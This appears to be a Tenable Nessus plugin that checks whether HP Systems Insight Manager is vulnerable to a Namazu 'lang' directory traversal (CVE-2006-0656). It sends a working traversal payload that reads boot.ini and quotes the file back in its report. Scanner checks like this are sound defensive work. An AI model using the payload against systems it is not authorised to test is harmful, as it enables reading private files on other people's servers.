PageRenderTime 337ms CodeModel.GetById 23ms RepoModel.GetById 0ms app.codeStats 0ms

/uClinux-dist/user/nessus/nessus-plugins/scripts/hpsim_namazu_lang_dir_traversal.nasl

https://bitbucket.org/__wp__/mb-linux-msli
Unknown | 101 lines | 71 code | 30 blank | 0 comment | 0 complexity | 4482921e64f1256ff5ce97b6107d8ad3 MD5 | raw file
Possible License(s): AGPL-3.0, GPL-2.0, LGPL-2.0, MPL-2.0, ISC, BSD-3-Clause, LGPL-2.1, MPL-2.0-no-copyleft-exception, 0BSD, CC-BY-SA-3.0, GPL-3.0, LGPL-3.0, AGPL-1.0, Unlicense
  1. #
  2. # (C) Tenable Network Security
  3. #
  4. desc = "
  5. Synopsis :
  6. The remote web server contains a CGI script that is affected by an
  7. directory traversal flaw.
  8. Description :
  9. The remote host appears to be running HP Systems Insight Manager
  10. (SIM), a unified infrastructure management tool.
  11. The version of HP SIM on the remote host includes a version of the
  12. search engine Namazu that reportedly fails to validate user input to
  13. the 'lang' parameter of the 'namazucgi' script. An unauthenticated
  14. attacker may be able to exploit this issue to access files on the
  15. remote host via directory traversal.
  16. See also :
  17. http://www.securityfocus.com/advisories/10104
  18. Solution :
  19. Update HP SIM's .namazurc configuration file according to the vendor
  20. advisory.
  21. Risk factor :
  22. Low / CVSS Base Score : 2.3
  23. (AV:R/AC:L/Au:NR/C:P/I:N/A:N/B:N)";
  24. if (description) {
  25. script_id(20893);
  26. script_version("$Revision: 1.4 $");
  27. script_cve_id("CVE-2006-0656");
  28. script_bugtraq_id(16571);
  29. script_name(english:"HP Systems Insight Manager Namazu lang Directory Traversal Vulnerability");
  30. script_summary(english:"Checks for Namazu lang parameter directory traversal vulnerability in HP Systems Insight Manager");
  31. script_description(english:desc);
  32. script_category(ACT_GATHER_INFO);
  33. script_family(english:"CGI abuses");
  34. script_copyright(english:"This script is Copyright (C) 2006 Tenable Network Security");
  35. script_dependencies("http_version.nasl");
  36. script_require_ports("Services/www", 50000, 50001);
  37. exit(0);
  38. }
  39. include("http_func.inc");
  40. include("http_keepalive.inc");
  41. port = get_http_port(default:50000);
  42. if (!get_port_state(port)) exit(0);
  43. # Try to exploit the flaw to read a file.
  44. file = "/../../../../../../../../../../../../../boot.ini";
  45. req = http_get(
  46. item:string(
  47. "/mxhelp/cgi-bin/namazucgi?",
  48. "lang=", file
  49. ),
  50. port:port
  51. );
  52. res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  53. if (res == NULL) exit(0);
  54. # There's a problem if looks like boot.ini.
  55. if ("[boot loader]">< res) {
  56. contents = res - strstr(res, "<h2>Results:");
  57. if (isnull(contents)) report = desc;
  58. else {
  59. report = string(
  60. desc,
  61. "\n\n",
  62. "Plugin output :\n",
  63. "\n",
  64. "Here are the contents of the file '\\boot.ini' that\n",
  65. "Nessus was able to read from the remote host :\n",
  66. "\n",
  67. contents
  68. );
  69. }
  70. security_note(port:port, data:report);
  71. }